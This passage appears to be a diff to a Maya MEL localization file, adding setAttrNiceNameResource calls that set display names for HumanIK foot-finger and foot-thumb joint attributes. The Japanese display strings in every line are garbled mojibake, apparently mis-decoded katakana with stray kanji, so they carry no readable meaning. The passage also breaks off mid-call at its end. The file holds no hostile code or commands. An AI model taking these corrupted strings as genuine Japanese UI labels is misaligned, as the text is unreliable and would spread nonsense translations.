+setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateAxisx", "ラスナチヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateAxisy", "ラスナチヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateAxisz", "ラスナチヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4JointOrient", "ラスナチヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4JointOrientx", "ラスナチヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4JointOrienty", "ラスナチヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4JointOrientz", "ラスナチヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimit", "ラスナチヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimitx", "ラスナチヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimity", "ラスナチヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimitz", "ラスナチヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimit", "ラスナチヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimitx", "ラスナチヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimity", "ラスナチヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimitz", "ラスナチヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimitEnablex", "ニモテラスナチヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimitEnabley", "ニモテラスナチヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimitEnablez", "ニモテラスナチヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimitEnablex", "ニモテラスナチヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimitEnabley", "ニモテラスナチヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimitEnablez", "ニモテラスナチヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1", "モメスナエヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1T", "モメスナエヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Tx", "モメスナエヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Ty", "モメスナエヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Tz", "モメスナエヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1R", "モメスナエヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Rx", "モメスナエヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Ry", "モメスナエヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Rz", "モメスナエヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1S", "モメスナエヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Sx", "モメスナエヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Sy", "モメスナエヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Sz", "モメスナエヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", "モメスナエヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1RotateAxis", "モメスナエヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1RotateAxisx", "モメスナエヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1RotateAxisy", "モメスナエヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1RotateAxisz", "モメスナエヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1JointOrient", "モメスナエヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1JointOrientx", "モメスナエヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1JointOrienty", "モメスナエヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1JointOrientz", "モメスナエヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimit", "モメスナエヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimitx", "モメスナエヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimity", "モメスナエヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimitz", "モメスナエヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimit", "モメスナエヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimitx", "モメスナエヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimity", "モメスナエヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimitz", "モメスナエヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimitEnablex", "ニモテモメスナエヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimitEnabley", "ニモテモメスナエヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MinRLimitEnablez", "ニモテモメスナエヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimitEnablex", "ニモテモメスナエヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimitEnabley", "ニモテモメスナエヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1MaxRLimitEnablez", "ニモテモメスナエヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2", "モメスナエヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2T", "モメスナエヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Tx", "モメスナエヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Ty", "モメスナエヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Tz", "モメスナエヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2R", "モメスナエヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Rx", "モメスナエヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Ry", "モメスナエヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Rz", "モメスナエヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2S", "モメスナエヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Sx", "モメスナエヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Sy", "モメスナエヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2Sz", "モメスナエヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", "モメスナエヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2RotateAxis", "モメスナエヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2RotateAxisx", "モメスナエヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2RotateAxisy", "モメスナエヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2RotateAxisz", "モメスナエヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2JointOrient", "モメスナエヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2JointOrientx", "モメスナエヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2JointOrienty", "モメスナエヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2JointOrientz", "モメスナエヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimit", "モメスナエヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimitx", "モメスナエヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimity", "モメスナエヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimitz", "モメスナエヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimit", "モメスナエヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimitx", "モメスナエヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimity", "モメスナエヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimitz", "モメスナエヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimitEnablex", "ニモテモメスナエヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimitEnabley", "ニモテモメスナエヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MinRLimitEnablez", "ニモテモメスナエヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimitEnablex", "ニモテモメスナエヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimitEnabley", "ニモテモメスナエヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb2MaxRLimitEnablez", "ニモテモメスナエヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3", "モメスナエヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3T", "モメスナエヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Tx", "モメスナエヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Ty", "モメスナエヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Tz", "モメスナエヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3R", "モメスナエヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Rx", "モメスナエヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Ry", "モメスナエヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Rz", "モメスナエヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3S", "モメスナエヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Sx", "モメスナエヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Sy", "モメスナエヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3Sz", "モメスナエヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", "モメスナエヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3RotateAxis", "モメスナエヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3RotateAxisx", "モメスナエヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3RotateAxisy", "モメスナエヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3RotateAxisz", "モメスナエヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3JointOrient", "モメスナエヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3JointOrientx", "モメスナエヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3JointOrienty", "モメスナエヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3JointOrientz", "モメスナエヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimit", "モメスナエヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimitx", "モメスナエヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimity", "モメスナエヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimitz", "モメスナエヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimit", "モメスナエヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimitx", "モメスナエヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimity", "モメスナエヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimitz", "モメスナエヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimitEnablex", "ニモテモメスナエヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimitEnabley", "ニモテモメスナエヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MinRLimitEnablez", "ニモテモメスナエヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimitEnablex", "ニモテモメスナエヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimitEnabley", "ニモテモメスナエヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb3MaxRLimitEnablez", "ニモテモメスナエヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4", "モメスナエヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4T", "モメスナエヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Tx", "モメスナエヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Ty", "モメスナエヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Tz", "モメスナエヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4R", "モメスナエヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Rx", "モメスナエヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Ry", "モメスナエヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Rz", "モメスナエヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4S", "モメスナエヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Sx", "モメスナエヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Sy", "モメスナエヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4Sz", "モメスナエヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", "モメスナエヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4RotateAxis", "モメスナエヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4RotateAxisx", "モメスナエヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4RotateAxisy", "モメスナエヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4RotateAxisz", "モメスナエヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4JointOrient", "モメスナエヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4JointOrientx", "モメスナエヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4JointOrienty", "モメスナエヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4JointOrientz", "モメスナエヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimit", "モメスナエヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimitx", "モメスナエヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimity", "モメスナエヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimitz", "モメスナエヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimit", "モメスナエヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimitx", "モメスナエヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimity", "モメスナエヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimitz", "モメスナエヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimitEnablex", "ニモテモメスナエヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimitEnabley", "ニモテモメスナエヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MinRLimitEnablez", "ニモテモメスナエヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimitEnablex", "ニモテモメスナエヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimitEnabley", "ニモテモメスナエヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb4MaxRLimitEnablez", "ニモテモメスナエヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1", "モメスナカヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1T", "モメスナカヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Tx", "モメスナカヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Ty", "モメスナカヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Tz", "モメスナカヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1R", "モメスナカヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Rx", "モメスナカヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Ry", "モメスナカヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Rz", "モメスナカヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1S", "モメスナカヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Sx", "モメスナカヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Sy", "モメスナカヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1Sz", "モメスナカヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", "モメスナカヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1RotateAxis", "モメスナカヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1RotateAxisx", "モメスナカヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1RotateAxisy", "モメスナカヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1RotateAxisz", "モメスナカヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1JointOrient", "モメスナカヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1JointOrientx", "モメスナカヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1JointOrienty", "モメスナカヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1JointOrientz", "モメスナカヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimit", "モメスナカヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimitx", "モメスナカヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimity", "モメスナカヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimitz", "モメスナカヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimit", "モメスナカヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimitx", "モメスナカヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimity", "モメスナカヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimitz", "モメスナカヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimitEnablex", "ニモテモメスナカヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimitEnabley", "ニモテモメスナカヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MinRLimitEnablez", "ニモテモメスナカヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimitEnablex", "ニモテモメスナカヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimitEnabley", "ニモテモメスナカヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex1MaxRLimitEnablez", "ニモテモメスナカヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2", "モメスナカヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2T", "モメスナカヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Tx", "モメスナカヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Ty", "モメスナカヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Tz", "モメスナカヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2R", "モメスナカヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Rx", "モメスナカヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Ry", "モメスナカヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Rz", "モメスナカヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2S", "モメスナカヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Sx", "モメスナカヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Sy", "モメスナカヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2Sz", "モメスナカヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", "モメスナカヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2RotateAxis", "モメスナカヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2RotateAxisx", "モメスナカヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2RotateAxisy", "モメスナカヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2RotateAxisz", "モメスナカヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2JointOrient", "モメスナカヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2JointOrientx", "モメスナカヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2JointOrienty", "モメスナカヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", 